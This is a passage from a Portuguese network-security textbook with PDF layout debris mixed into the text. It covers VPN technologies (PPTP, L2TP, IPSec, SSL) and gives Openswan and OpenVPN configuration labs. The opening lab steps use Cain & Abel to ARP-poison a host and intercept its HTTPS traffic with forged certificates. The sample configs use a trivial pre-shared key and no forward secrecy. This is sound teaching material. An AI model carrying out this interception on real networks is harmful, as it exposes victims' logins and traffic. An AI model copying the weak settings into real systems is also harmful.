a interface padrão, clique novamente nesse ícone e, também, no ícone amarelo).

5. Para iniciarmos um scan da rede em busca de MACs que queiramos sniffar, precisamos ir

à aba “Sniffer” e, na parte inferior dessa janela, clicar no botão “Hosts”.

7. Vamos ver agora a técnica Man in the Middle: clique no botão “APR” na parte inferior

esquerda da janela:

Capítulo 6 - Roteiro de Atividades

6. Como podemos ver abaixo, nessa janela são exibidos os PCs em nossa rede:

147

8. Clique no botão com o símbolo na barra de ferramentas superiores (assim iniciaremos

o sniffer).

Aqui o botão “+” pode não aparecer. Para resolver o problema, no treeview esquerdo clique na raiz APR e depois em uma linha qualquer no quadro status.

9. Selecionando um endereço IP do lado esquerdo, automaticamente os campos do lado

direito são preenchidos, possibilitando, dessa maneira, interceptar quaisquer dados que trafeguem a partir do IP selecionado para qualquer destino detectado. No lado esquerdo, selecione o IP 172.16.G.20 e, no lado direito, selecione o IP 172.16.G.1. 10. Com o sniffer em funcionamento, acesse o prompt de comando do servidor Windows

2008 e execute o comando arp –a. Observe que o endereço MAC do host 172.16.G.1 foi trocado para o endereço MAC de sua estação Windows XP. 11. Agora, a partir da máquina Windows 2008, acesse algum site https, como Gmail, Banco

Segurança de Redes e Sistemas

do Brasil etc. Observe o comportamento estranho do navegador, que informa um certifi-

148

cado inválido. O que aconteceu é que o Cain & Abel gerou um certificado falso e apresentou como se fosse o certificado do site https que você está tentando acessar.

Capítulo 6 - Roteiro de Atividades

12. Verifique as demais configurações desta ferramenta.

149

150

Segurança de Redes e Sistemas

7 Detalhar o uso de VPN IPSec e VPN SSL, abordando aspectos práticos relacionados.

conceitos

VPN, PPT, PL2TP, IPSec e SSL, entre outros.

Introdução A criptografia é um assunto extenso e muito importante para a segurança da informação, considerada fundamental por muitos autores. Neste capítulo, veremos aspectos teóricos do uso de VPN IPSec e VPN SSL e abordaremos aspectos práticos dessas aplicações.

Exercício de nivelamento 1 e Redes Privadas Virtuais O que você entende por VPN?

A sua organização utiliza VPN?

VPN VPN (Virtual Private Network) possibilita o uso de uma rede pública para interligar escri-

q

tórios comerciais, com redução de custos. Serve para viabilizar negócios que têm como premissa requisitos de comunicação eficiente e transportar dados de modo seguro. Pode ser usada para transferir informações sigilosas usando um canal compartilhado para interligar duas redes privadas protegidas. Premissas de uma VPN: 11 Confidencialidade dos dados. 11 Integridade dos dados. 11 Não repúdio do emissor. 11 Autenticação da mensagem.

Capítulo 7 - Redes Privadas Virtuais

objetivos

Redes Privadas Virtuais

11 Analogia ao modelo OSI. 151

Virtual Private Network é um termo bastante utilizado atualmente. A possibilidade de uso de uma rede pública como a internet para interligar escritórios comerciais e grandes empresas tem permitido a redução de custos e vai viabilizar negócios que têm como premissa requisitos de comunicação eficiente. Dessa forma, gestores de empresas vêm buscando mecanismos para manter as equipes sempre em comunicação, visando diminuir os investimentos em infraestrutura de TI ou até mesmo buscando melhor uso do parque tecnológico já instalado. Uma solução efetiva de VPN visa transportar os dados de modo seguro e sigiloso, usando um canal compartilhado para interligar duas redes privadas protegidas. Para que isso ocorra, precisamos alcançar alguns objetivos importantes: 11 Confidencialidade dos dados: garantia de que a mensagem não poderá ser interpretada por origens não autorizadas. 11 Integridade dos dados: garantia de que o conteúdo da mensagem não foi alterado durante a transmissão entre o emissor e o receptor. 11 Não repúdio do emissor: o emissor não poderá repudiar o envio da mensagem, ou seja, dizer que ele não enviou a mensagem questionada, com embasamento legal. 11 Autenticação da mensagem: garantia de que a mensagem foi enviada por uma fonte autêntica e será entregue a um destino autêntico. Neste capítulo, vamos utilizar o modelo OSI de 7 camadas para classificar as tecnologias de VPN. Na ilustração, as camadas do modelo OSI e as respectivas aplicações de tecnologias de VPN.

Segurança de Redes e Sistemas

Modelo OSI

152

Tecnologia VPN

Camada 7: Aplicação

HTTPS, S/MIME, PGP

Camada 6: Apresentação

N/A

Camada 5: Sessão

N/A

Camada 4: Transporte

SSL e TLS, SOCKS, SSH

Camada 3: Rede

IPSec, MPLS VPNs

Camada 2: Enlace

PPTP, L2TP, L2F, ATM cell encryptors

Camada 1: Física

RF encryptors, optical bulk encryptors

Objetivos de uma VPN 11 Confidencialidade dos dados. 11 Integridade dos dados. 11 Não repúdio do emissor. 11 Autenticação da mensagem. A seguir veremos algumas implementações específicas de aplicações VPN.

Figura 7.1 OSI vs. VPN.

q

VPN PPTP

q

Autenticação: 11 PAP. 11 CHAP. 11 MS-CHAP. Analisando o modelo OSI, a VPN PPTP encontra-se na camada de enlace por ser uma derivação do protocolo Point to Point Protocol (PPP), que consiste em um protocolo de comunicação ponto a ponto, muito utilizado no passado em linhas telefônicas. O PPTP foi desenvolvido pela Microsoft com o objetivo de incrementar recursos ao PPP. Ele utiliza a

Cabeçalho Data Link

autenticação do PPP com um recurso de túnel que pode ser criptografado utilizando criptografia de 40 ou 128 bits. A Figura 7.2 apresenta uma estrutura básica de um pacote PPTP, contido dentro de um pacote IP.

Cabeçalho IP

Cabeçalho PPTP

Cabeçalho PPP

Payload PPP

Data Link Trailer

O PPTP é um protocolo orientado à conexão, o que exige uma estrutura cliente/servidor. Sendo assim, ele trafega por padrão na porta TCP 1723. Para estabelecer o túnel PPTP em redes com firewall, é necessário liberar essa porta TCP e utilizar NAT. Será necessário NAT de um-para-um ou algum protocolo especial para permitir o uso de PPTP (muitas vezes chamado de VPN passthru). Foram desenvolvidas várias formas de autenticação do PPP, sendo as mais usuais: 11 Protocolo de Autenticação de Palavras (PAP): protocolo de autenticação simples em que o cliente do túnel PPP enviará o usuário e a senha para o servidor em texto claro. 11 Challenge Handshake Authentication Protocol (CHAP): protocolo de autenticação em que o cliente e o servidor responderão a um desafio, através de senha criptografada com o algoritmo HASH MD5, que, trocada entre o cliente e o servidor, evita que a senha seja transmitida em texto claro. 11 MS-CHAP: protocolo proprietário da Microsoft criado para autenticar estações de trabalho remotas baseadas no Windows. Tal como o CHAP, o MS-CHAP utiliza um mecanismo de contestação-resposta para autenticar ligações sem enviar a palavra-chave em texto claro. O MS-CHAP utiliza o algoritmo Hash MD4 (Message Digest 4) e o algoritmo de encriptação Data Encryption Standard (DES) para gerar a autenticação challenge/response. O MS-CHAP também fornece mecanismos para comunicar erros de ligação e para alterar a palavra-passe do utilizador. Podemos verificar, assim, que o CHAP e o MS-CHAP são preferíveis ao PAP, pois não trafegam a senha em texto claro.

L2TP Especificado na RFC 2661 e desenvolvido por empresas como Cisco e Microsoft, utiliza a

q

estrutura cliente servidor e é orientado a pacotes. Usa UDP como protocolo de transporte. O L2TP é um protocolo aberto, especificado na RFC 2661. Foi desenvolvido por um grupo de empresas incluindo Cisco e Microsoft. Assim como o PPTP, o L2TP utiliza a estrutura cliente servidor, mas é orientado a pacotes. Dessa forma, alguns problemas de desempenho do

Capítulo 7 - Redes Privadas Virtuais

Figura 7.2 Estrutura do Protocolo do Túnel PPTP.

PPTP foram contornados, por utilizar UDP como protocolo de transporte. 153

Cabeçalho Data Link

Cabeçalho IP

Cabeçalho UDP

Cabeçalho L2TP Cabeçalho PPP

Payload PPP

Para implementar o túnel L2TP em redes com firewall por padrão, é necessário liberar a porta UDP 1701. Como é um protocolo orientado a pacotes, o NAT pode ser implementado no modelo um-para-muitos ou um-para-um. Por ser mais leve e prover melhor desempenho, recomenda-se usar o L2TP no lugar do PPTP, sempre que possível. Deve-se ainda evitar o PPTP, especialmente as versões com chaves de 40 bits, pois diversas vulnerabilidades já foram descobertas nesse protocolo.

IPSec A segurança de IP (IPSec) é uma capacidade que pode ser acrescentada a qualquer

q

versão atual do protocolo Internet: IPv4 e IPv6, por meio de cabeçalhos adicionais. IPSec é um conjunto de protocolos, também conhecido como suíte de segurança IP.Os protocolos inclusos na suíte de segurança IP estão focados em: 11 Entrega da mensagem autêntica. 11 Integridade dos dados. 11 Confidencialidade dos dados. 11 Não repúdio do emissor. A segurança de IP (IPSec) é uma capacidade que pode ser acrescentada a qualquer versão atual do protocolo Internet: IPv4 e IPv6, por meio de cabeçalhos adicionais. O IPSec atua na camada de rede do modelo OSI, por criptografar o conteúdo (payload) do pacote IP. Como o IPSec não é um protocolo único, mas sim um conjunto de protocolos, cada qual com um objetivo específico, podemos chamar o IPSec de suíte de segurança IP. Os protocolos inclusos na suíte de segurança IP estão focados na entrega da mensagem autêntica, com integridade dos dados, confidencialidade dos dados e não repúdio do emissor. A especificação do IPSec consiste em várias RFCs, sendo as mais importantes delas emitidas em 1998. São elas: 11 RFC 2401: descrição da visão geral de uma arquitetura de segurança. 11 RFC 2402: descrição de uma extensão de autenticação de pacotes para IPv4 e IPv6. 11 RFC 2406: descrição de uma extensão de criptografia de pacote para IPv4 e IPv6.

Segurança de Redes e Sistemas

11 RFC 2408: especificação das capacidades de gerenciamento de chaves.

154

q

Data Link Trailer

Figura 7.3 Estrutura do protocolo do L2TP.

Além das quatro RFCs, diversos rascunhos foram publicados pelos grupos de trabalho do IP Security Procotol. Os documentos estão descritos na RFC 2401, divididos em sete grupos, conforme a figura:

Arquitetura

Protocolo ESP

Protocolo AH

Algoritmo de autenticação

Algoritmo de criptografia

Domínio de interpretação

Figura 7.4 Visão do protocolo IPSec.

Gerenciamento de chaves

11 Arquitetura: abrange os conceitos gerais, os requisitos de segurança, definições e mecanismos, definindo a tecnologia IPSec. 11 Protocolo ESP (Encapsulating Security Payload): abrange o formato de pacote e questões gerais relacionadas ao uso de ESP para criptografia de pacote e, opcionalmente, autenticação. 11 Protocolo AH (Authentication Header): abrange o formato de pacote e questões gerais relacionadas ao uso do AH para autenticação de pacotes. 11 Algoritmo de criptografia: um conjunto de documentos que descrevem como diversos algoritmos de criptografia são usados para ESP. 11 Algoritmo de autenticação: um conjunto de documentos que descrevem como vários algoritmos de autenticação são usados para AH e para a opção de autenticação do ESP. 11 Gerenciamento de chaves: documentos que descrevem esquemas de gerenciamento de chaves. Exemplo: ISAKMP. 11 Domínio de interpretação: são valores para os outros documentos se relacionarem cação, além de parâmetros operacionais, como tempo de vida da chave.

Exercício de fixação 1 e VPN Explique os objetivos da VPN.

Capítulo 7 - Redes Privadas Virtuais

entre si. Incluem identificadores para algoritmos aprovados de criptografia e autenti-

155

Quais as formas mais usuais de autenticação do VPN PPP?

Exercício de fixação 2 e IPSec Explique como o IPSec funciona.

Modos de operação do IPSec 11 Cifragem de blocos: divide os dados em conjuntos de tamanho fixo (chamados de blocos)

q

22 Electronic Codebook (ECB). 22 Cipher-Block Chaining (CBC). 22 Propagating Cipher-Block Chaining (PCBC). 22 Cipher Feedback (CFB). 22 Output Feedback (OFB). 22 Counter (CTR). 11 Cifragem stream – realiza a cifragem de bits. Não há a necessidade de aguardar a formação de um bloco. 22 RC4. 22 A5/1 (usado em redes GSM de telefonia celular). 11 Modo de Transporte: oferece proteção principalmente para os protocolos das camadas superiores, mas não permite suporte a alguns serviços de rede, como multicast. 11 Modo de Túnel: oferece proteção a todo pacote IP. O IPSec oferece dois modos de operação, sendo eles: 11 Modo de Transporte: esse modo oferece proteção principalmente para os protocolos das camadas superiores. Esse modo de operação do IPSec criptografa todo o payload do pacote IP. Compatível com protocolos IP: UDP, TCP e ICMP.

Cabeçalho IP

Cabeçalho ESP

Cabeçalho TCP

Dados

Trailer ESP

Autenticação ESP

Segurança de Redes e Sistemas

Criptografado

156

Autenticado

Não protegido

Não protegido

11 Modo de Túnel: esse modo de operação oferece proteção a todo pacote IP. Todo o pacote original viaja por um “túnel” de um ponto de uma rede IP para outro, e nenhum roteador ao longo do caminho é capaz de examinar o cabeçalho IP interno.

Figura 7.5 Pacote encapsulado ESP no modo transporte.

Novo cabeçalho IP

Cabeçalho ESP

Cabeçalho IP

Cabeçalho TCP

Trailer ESP

Dados

Autenticação ESP

Criptografado Autenticado

Não protegido Figura 7.6 Pacote encapsulado ESP no modo túnel.

Não protegido

Protocolos IPSec O IPSec oferece serviços de segurança na camada de IP, permitindo que um sistema selecione protocolos de segurança exigidos, e determine os algoritmos necessários para os serviços, colocando no lugar quaisquer chaves criptográficas exigidas para oferecer os serviços solicitados. Dois protocolos podem ser usados para oferecer segurança: autenticação do cabeçalho (AH) e um protocolo combinado de criptografia e autenticação, designado pelo formato de pacote para esse protocolo, denominado Encapsulamento de Segurança do Payload (ESP). Os serviços e suporte de cada protocolo IPSec seguem listados na tabela a seguir: ESP

ESP + AH

Controle de acesso

Sim

Sim

Sim

Integridade sem conexão

Sim

Sim

Autenticação da origem

Sim

Sim

Rejeição de pacotes repetidos

Sim

Confidencialidade

Sim

Sim

Sim

Sim

O IPSec pode ser utilizado tanto para comunicação segura entre computadores (geralmente no modo transporte), quanto para o estabelecimento de VPN (geralmente no modo túnel). Alguns sistemas operacionais, como o Windows 2000, já possuem suporte nativo a IPSec, de modo que é possível que todo o tráfego entre servidores seja criptografado. Normalmente para utilizar IPSec, os roteadores presentes na rede devem suportar e entender o protocolo, para poderem encaminhar corretamente os dados. Encapsulating Security Payload (ESP) Estabelece mecanismos de garantia da privacidade e integridade do conteúdo, utilizando técnicas de criptografia e código Hash, respectivamente. Na criptografia, normalmente são utilizados algoritmos DES, 3DES ou AES. Para o código Hash são utilizadas funções MD5 ou SHA-1. Authetication Header (AH) Estabelece mecanismos de verificação da autenticidade e integridade de pacotes IP. Normalmente, na verificação da autenticidade de pacotes, é calculado o Hash de HMAC (Hash Message Authentication Code) usando funções de Hash MD5 ou SHA-1.

Cabeçalho ESP 11 Security Parameters Index (SPI). 11 Número sequencial. 11 Dados.

q

Capítulo 7 - Redes Privadas Virtuais

Figura 7.7 Serviços de cada protocolo IPSec.

AH

157

q

11 Padding. 11 Tamanho do Pad. 11 Próximo cabeçalho. Dados para autenticação.

0-7 bit

8-15 bit

16-23 bit

24-31 bit

Security Parameters Index (SPI) Sequence number

Payload data (variable)

Padding (0-255 bytes) Payload length

Next header Next header

Authentication data (variable)

Figura 7.8 Cabeçalho ESP.

O campo SPI possui um valor que identifica a associação de segurança (SA) de um tráfego IPSec. O campo “Sequence number” possui um contador, que é incrementado a cada pacote enviado, com o objetivo de proteger contra ataques replay, onde o atacante captura um tráfego e o repete mais à frente. O payload contém o pacote original que está sendo protegido pelo ESP. O “Padding” é utilizado para completar os dados de modo a caber no tamanho de bloco do algoritmo de criptografia. “Pad Length” contém o tamanho do campo anterior e “Next Header” indica o tipo do próximo cabeçalho.

Cabeçalho AH

q

11 Próximo cabeçalho. 11 Tamanho do payload. 11 Security Parameters Index (SPI). 11 Número sequencial. 11 Dados para autenticação.

Segurança de Redes e Sistemas

0-7 bit

158

Next header

8-15 bit

16-23 bit

Payload length

24-31 bit Reserved

Security Parameters Index (SPI) Sequence number Authentication data (variable)

Figura 7.9 Cabeçalho AH.

No cabeçalho AH, alguns campos são invertidos em relação ao ESP, e não temos a cifragem do pacote original. Os campos “Next header”, “SPI” e “Sequence number” possuem a mesma finalidade dos correspondentes no cabeçalho ESP. O campo “Payload length” indica o tamanho do cabeçalho AH.

Exercício de fixação 3 e IPSec Explique o que são ESP e AH no protocolo IPSec.

VPN SSL Com o uso de VPNs baseadas em SSL, é possível ter acesso a aplicações ou redes

q

remotas, tendo como acesso qualquer tipo de conectividade à internet. Pode ser implementada via: 11 Cliente VPN SSL 11 Navegador web 11 Instalação simplificada do agente Quando precisamos de segurança apenas em uma aplicação específica, como navegação na internet, envio de correio eletrônico e mensagens instantâneas, utilizamos a criptografia na comunicação entre essas aplicações. As escolhas mais populares de criptografia para TLS e SSL Transport Layer Security e Security Sockets Layer são protocolos com diferenças bem sutis. A especificação do SSL 3.0 é conhecida como SSL3, e do TLS 1.0 como TLS1 ou SSL 3.1.

esse cenário são TLS e SSL. Embora os dois protocolos tenham a mesma finalidade, existem diferenças sutis entre eles. Ambos os protocolos suportam uma variedade de algoritmos de criptografia ou cifras para realizar algumas funções, como a autenticação do servidor e do cliente, transmissão de certificados e estabelecimento das chaves de sessão. Para a criptografia em massa dos dados, algoritmos simétricos são utilizados. Algoritmos assimétricos são utilizados para autenticação e troca de chaves. O Hash é utilizado como parte do processo de autenticação. Com o uso de VPNs baseadas em SSL, é possível ter acesso a aplicações ou redes remotas, tendo como acesso qualquer tipo de conectividade à internet, sendo necessário apenas um navegador da internet ou um software cliente instalado na máquina do usuário. Essa flexibilidade permite às VPNs baseadas em SSL prover acesso de qualquer lugar a recursos computacionais de uma empresa. Dessa forma, colaboradores de uma empresa podem utilizar VPNs baseadas em SSL para ter acesso remoto a aplicações de uma empresa.

fases, conforme ilustra a figura a seguir:

1

Figura 7.10 Estabelecimento de uma sessão VPN SSL.

2

Túnel VPN SSL

3

5

4

Capítulo 7 - Redes Privadas Virtuais

Existem algumas etapas no estabelecimento da sessão VPN SSL que podem ser descritas em

159

1. Nesta fase, o equipamento do usuário estabelece uma conexão TCP na porta 443 do servidor. 2. O servidor SSL apresenta um certificado digital que contém a chave pública

digitalmente assinada por uma Autoridade Certificadora confiável. 3. O computador do usuário gera uma chave simétrica compartilhada entre as duas partes,

cliente e servidor. 4. A chave pública do servidor é utilizada para criptografar a chave compartilhada e trans-

mitir para o cliente. O software do servidor utiliza a chave privada para descriptografar a chave compartilhada enviada pelo cliente. Assim que o servidor realizar esse processo, ambos terão acesso à chave compartilhada. 5. A chave compartilhada então é utilizada para criptografar o dados transmitidos na sessão SSL.

O OpenVPN é um exemplo de software livre, que utiliza SSL para criar túneis VPN. Uma vantagem das VPN SSL em relação ao IPSec é que a liberação do acesso através de um firewall é bem mais simples, pois envolve apenas uma porta (443 TCP), que normalmente já é liberada pra acessos www seguros (HTTPS).

Exercício de fixação 4 e VPN SSL Explique a diferença entre TLS e SSL.

Implementação IPSec no Linux 11 Instalação.

q

11 Configuração. 11 Testes. Existem várias implantações de VPN IPSec no mercado, variando de fabricantes de sistemas operacionais, fabricantes de dispositivos dedicados (appliances) e comunidades de software livre. Vamos detalhar o Openswan, um projeto de software livre de muito sucesso na comunidade de software livre. Ele é uma derivação de um antigo projeto chamado Free S/Wan, que foi descontinuado.

Instalação do Openswan Instalação e configuração da solução de VPN usando o Openswan no Debian.

Segurança de Redes e Sistemas

Instalação do Openswan:

debian:~# apt-get install openswan Reading package lists... Done Building dependency tree... Done The following extra packages will be installed: ca-certificates iproute ipsec-tools libatm1 libcurl3 libgmp3c2 openssl Suggested packages:

160

w Openswan é uma implentação de IPSec para Linux, licenciado pela GPLversão 2. Site do projeto: www. openswan.org.

openswan-modules-source linux-patch-openswan curl Recommended packages: iproute-doc The following NEW packages will be installed: ca-certificates iproute ipsec-tools libatm1 libcurl3 libgmp3c2 openssl openswan 0 upgraded, 8 newly installed, 0 to remove and 32 not upgraded. Need to get 3782kB of archives. After unpacking 10.5MB of additional disk space will be used. Do you want to continue [Y/n]? Tela de configuração inicial logo após a instalação:

Figura 7.11 Tela de instalação do OpenSwan.

Nessa tela deve-se selecionar “No” (Não), pois será usada uma Pre-shared Key (Chave pré-compartilhada). Após essa tela, não há mais configuração. Verificando a versão:

debian:~# ipsec verify

correctly: Version check and ipsec on-path

[OK]

Linux Openswan U2.4.6/K2.6.18-5-k7 (netkey) Checking for IPsec support in kernel NETKEY detected, testing for disabled ICMP send_redirects

[OK] [FAILED]

Capítulo 7 - Redes Privadas Virtuais

Checking your system to see if IPsec got installed and started

161

Please disable /proc/sys/net/ipv4/conf/*/send_redirects or NETKEY will cause the sending of bogus ICMP redirects!

NETKEY detected, testing for disabled ICMP accept_redirects

[FAILED]

Please disable /proc/sys/net/ipv4/conf/*/accept_redirects or NETKEY will accept bogus ICMP redirects!

Checking for RSA private key (/etc/ipsec.secrets)

[DISABLED]

ipsec showhostkey: no default key in “/etc/ipsec.secrets” Checking that pluto is running Two or more interfaces found, checking IP forwarding

[OK] [FAILED]

Checking for ‘ip’ command

[OK]

Checking for ‘iptables’ command

[OK]

Opportunistic Encryption Support

[DISABLED]

Configuração do Openswan O servidor de VPN deve estar configurado de acordo com a estrutura de sua unidade. Para a configuração da VPN siga os passos seguintes. 1. Habilitar o roteamento no Linux:

echo 1 > /proc/sys/net/ipv4/ip_forward 2. Configurar o arquivo de configuração do Openswan:

vim /etc/ipsec.conf

debian:~# cat /etc/ipsec.conf # /etc/ipsec.conf - Openswan IPsec configuration file # RCSID $Id: ipsec.conf.in,v 1.15.2.4 2006/07/11 16:17:53 paul Exp $

Segurança de Redes e Sistemas

# This file:

162

/usr/share/doc/openswan/ipsec.conf-sample

# # Manual:

version 2.0 specification

ipsec.conf.5

# conforms to second version of ipsec.conf

# basic configuration config setup interfaces=%defaultroute # plutodebug / klipsdebug = “all”, “none” or a combation from below: # “raw crypt parsing emitting control klips pfkey natt x509 private” # eg: # plutodebug=”control parsing” # # Only enable klipsdebug=all if you are a developer # # NAT-TRAVERSAL support, see README.NAT-Traversal nat_traversal=yes virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12 # # enable this if you see “failed to find any available worker” nhelpers=0

# Add connections here

conn %default keyingtries=0 disablearrivalcheck=no

conn vpnpeer1

leftsubnet=192.168.1.0/255.255.255.0 right=200.200.140.10 rightsubnet=10.61.0.0/255.255.0.0 ike=aes256-sha-modp1024 esp=aes256-sha1 pfs=no

Capítulo 7 - Redes Privadas Virtuais

left=200.200.40.16

ikelifetime=8h 163

keylife=8h dpddelay=30 dpdtimeout=120 dpdaction=hold authby=secret auto=start

# nameserver 202.21.11.100

# sample VPN connections, see /etc/ipsec.d/examples/

#Disable Opportunistic Encryption include /etc/ipsec.d/examples/no_oe.conf

---------------------------------------------------------------------

debian:~# cat /etc/ipsec.secrets # RCSID $Id: ipsec.secrets.proto,v 1.3.6.1 2005/09/28 13:59:14 paul Exp $ # This file holds shared secrets or RSA private keys for inter-Pluto # authentication.

See ipsec_pluto(8) manpage, and HTML documentation.

# RSA private key for this host, authenticating it to any other host # which knows the public part.

Suitable public keys, for ipsec.

conf, DNS,

Segurança de Redes e Sistemas

# or configuration of other implementations, can be extracted conveniently # with “ipsec showhostkey”. 200.200.40.16 200.200.140.10 : PSK “vpnipsec”

Implementação de VPN SSL no Linux O uso de VPN SSL está em expansão no cenário atual de Tecnologias da Informação e Comunicação (TIC), uma vez que a sua implementação costuma ser mais simples do que as implementações de VPN IPSec. O projeto OpenVPN possui utilização destacada pela comuni-

164

dade de software livre. É importante lembrar que o IPv6 virá com IPSec nativo, de modo que é preciso conhecer bem as duas tecnologias.

Instalação do OpenVPN O OpenVPN atualmente já faz parte do repositório padrão do Debian. Dessa forma, a instalação pode ser feita com o utilitário apt-get, como ilustra o exemplo a seguir:

debian:~# apt-get update debian:~# apt-get install openvpn Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: liblzo2-2 libpkcs11-helper1 openssl openssl-blacklist openvpn-blacklist Suggested packages: ca-certificates resolvconf The following NEW packages will be installed: liblzo2-2 libpkcs11-helper1 openssl openssl-blacklist openvpn openvpn-blacklist 0 upgraded, 6 newly installed, 0 to remove and 14 not upgraded. Need to get 8948kB of archives. After this operation, 18.5MB of additional disk space will be used. Do you want to continue [Y/n]? y Get:1 http://linorg.usp.br lenny/main openssl 0.9.8g-15+lenny7 [1034kB] Get:2 http://linorg.usp.br lenny/main openssl-blacklist 0.4.2 [6338kB] Get:3 http://linorg.usp.br lenny/main liblzo2-2 2.03-1 [61.5kB] Get:4 http://linorg.usp.br lenny/main libpkcs11-helper1 1.05-1 [42.4kB] Get:5 http://linorg.usp.br lenny/main openvpn-blacklist 0.3 [1068kB]

Fetched 8948kB in 2min20s (63.6kB/s) Preconfiguring packages ... tar: ./conffiles: time stamp 2010-06-08 17:45:39 is 5089826.308233209 s in the future tar: ./postinst: time stamp 2010-06-08 17:45:39 is 5089826.262979826 s in the future tar: ./control: time stamp 2010-06-08 17:45:38 is 5089825.261959074 s

Capítulo 7 - Redes Privadas Virtuais

Get:6 http://linorg.usp.br lenny/main openvpn 2.1~rc11-1 [404kB]

in the future 165

tar: ./md5sums: time stamp 2010-06-08 17:45:39 is 5089826.261059126 s in the future tar: .: time stamp 2010-06-08 17:45:39 is 5089826.260466338 s in the future Selecting previously deselected package openssl. (Reading database ... 19366 files and directories currently installed.) Unpacking openssl (from .../openssl_0.9.8g-15+lenny7_i386.deb) ... Selecting previously deselected package openssl-blacklist. Unpacking openssl-blacklist (from .../openssl-blacklist_0.4.2_all.deb) ... Selecting previously deselected package liblzo2-2. Unpacking liblzo2-2 (from .../liblzo2-2_2.03-1_i386.deb) ... Selecting previously deselected package libpkcs11-helper1. Unpacking libpkcs11-helper1 (from .../libpkcs11-helper1_1.05-1_i386. deb) ... Selecting previously deselected package openvpn-blacklist. Unpacking openvpn-blacklist (from .../openvpn-blacklist_0.3_all.deb) ... Selecting previously deselected package openvpn. Unpacking openvpn (from .../openvpn_2.1~rc11-1_i386.deb) ... Processing triggers for man-db ... Setting up openssl (0.9.8g-15+lenny7) ... Setting up openssl-blacklist (0.4.2) ... Setting up liblzo2-2 (2.03-1) ... Setting up libpkcs11-helper1 (1.05-1) ... Setting up openvpn-blacklist (0.3) ... Setting up openvpn (2.1~rc11-1) ... Restarting virtual private network daemon.:. debian:~#

Segurança de Redes e Sistemas

O projeto disponibiliza ainda, no seu site, um cliente de VPN SSL para as plataformas Micro-

166

soft Windows, Apple Mac OS X e Linux. A instalação desses clientes para Microsoft Windows é realizada via método de instalação padrão de aplicativos para Windows.

Configuração do OpenVPN A configuração do OpenVPN pode ser realizada editando o arquivo de configuração padrão ou criando um novo arquivo de configuração. No caso de criar um novo arquivo, é necessário fazer referência a esse novo arquivo de configuração na inicialização do serviço.

Exemplo de configuração do servidor OpenVPN:

;local a.b.c.d port 1194

;proto tcp proto udp

;dev tap dev tun ;dev-node MyTap ca ca.crt cert server.crt dh dh1024.pem server 10.8.0.0 255.255.255.0 ifconfig-pool-persist ipp.txt ;server-bridge 10.8.0.4 255.255.255.0 10.8.0.50 10.8.0.100 ;server-bridge ;push “route 192.168.10.0 255.255.255.0” ;push “route 192.168.20.0 255.255.255.0” ;client-config-dir ccd ;route 192.168.40.128 255.255.255.248 ;client-config-dir ccd ;route 10.9.0.0 255.255.255.252 ;learn-address ./script ;push “redirect-gateway def1 bypass-dhcp”

;push “dhcp-option DNS 208.67.220.220” ;client-to-client ;duplicate-cn keepalive 10 120 comp-lzo ;max-clients 100

Capítulo 7 - Redes Privadas Virtuais

;push “dhcp-option DNS 208.67.222.222”

167

;user nobody ;group nogroup persist-key persist-tun status openvpn-status.log

;log

openvpn.log

;log-append

openvpn.log

verb 3 ;mute 20 É importante ressaltar que a VPN pode trabalhar em modo transparente (bridge) ou roteada (routing). Desta forma, será necessário configurar o kernel do Linux para que trabalhe de acordo com um dos modos, conforme realizado no capítulo 3. Será necessário também ajustar as regras de firewall para permitir o fluxo de pacotes para a interface virtual do OpenVPN. A configuração do cliente pode ser realizada também por arquivo de configuração, o que facilita a distribuição de pacotes em larga escala. Abaixo a tela de configuração para o cliente OpenVPN, na plataforma Microsoft Windows XP.

Segurança de Redes e Sistemas

Figura 7.12 Cliente de OpenVPN para Windows XP.

168

Roteiro de Atividades 7 Atividade 1 – VPN IPSec Nestas atividades iremos praticar os conceitos de VPN aprendidos neste capítulo. Para isso vamos implementar as tecnologias de VPN IPSec e VPN SSL. VPN IPSec é amplamente utilizada como tecnologia de VPN para interconectar redes. Vamos implementar um túnel IPSec com o Openswan para interligar duas redes de vizinhos no laboratório. Essa atividade é complexa e envolve a configuração em duas estações de alunos. Escolha um colega próximo e combine com antecedência o que cada um vai fazer. A cooperação e o planejamento são fatores fundamentais para o sucesso da prática. Um aluno vai configurar os equipamentos da Topologia A e o outro aluno vai configurar os equipamentos da Topologia B. Conforme ilustra a figura a seguir, iremos interligar a rede de topologia A com a rede de topologia B, utilizando o Openswan configurado no gateway FWGW1 de cada um dos alunos.

Internet

FWGW1

DHCP

Topologia B

FWGW1

DHCP

DMZ 172.16.1.0/24

Servidor Windows

DMZ 172.16.2.0/24

Servidor Linux

Servidor Linux Rede local 10.1.1.0/24

Host Windows

Servidor Windows

Rede local 10.1.2.0/24

Host Windows

Configure o OpenSwan no host FWGW1, para permitir a comunicação das máquinas da rede local remota com os seus servidores da DMZ. Exemplo: se você está configurando o cenário da Topologia A, você vai configurar o Openswan para permitir que os usuários da rede 10.1.2.0/24 acessem os servidores de sua DMZ, rede 172.16.1.0/24.

Capítulo 7 - Roteiro de Atividades

Topologia A

169

Passo 1

Acesse o host FWGW1, atualize a lista de pacotes do Debian e instale o pacote Openswan:

# apt-get update # apt-get install openswan Você será questionado se quer utilizar Opportunistc Encryption (OE): responda “No”. Será questionado também se quer gerar as chaves RSA. Responda “No”, porque utilizaremos uma frase-senha (Pre shared key). Passo 2

Aguarde seu colega concluir o Passo 1 para iniciarem juntos o Passo 3.

Passo 3

Edite o arquivo de configuração do Openswan localizado em /etc/ipsec.conf e adicione a seguinte conexão:

conn vpnlabrnp left=X.X.X.X leftsubnet=10.1.1.0/255.255.255.0 right=Y.Y.Y.Y rightsubnet=10.1.2.0/255.255.255.0 ike=aes256-sha-modp1024 esp=aes256-sha1 pfs=no ikelifetime=8h keylife=8h dpddelay=30 dpdtimeout=120 dpdaction=hold authby=secret auto=start Onde X.X.X.X é o endereço IP que foi atribuído na interface eth0 (definida por DHCP) do host FWGW1-A. Onde Y.Y.Y.Y é o endereço IP que foi atribuído na interface eth0 (definida por DHCP) do host FWGW1-B. Left é o Grupo A. Right é o Grupo B. Passo 4

Para definir a frase-senha (Pre shared key), vamos editar o arquivo /etc/ipsec.secrets Atenção: observe a ordem dos hosts: Para o Grupo A:

Segurança de Redes e Sistemas

Y.Y.Y.Y X.X.X.X : PSK “vpnipsec”

170

Para o Grupo B:

X.X.X.X Y.Y.Y.Y : PSK “vpnipsec” Passo 5

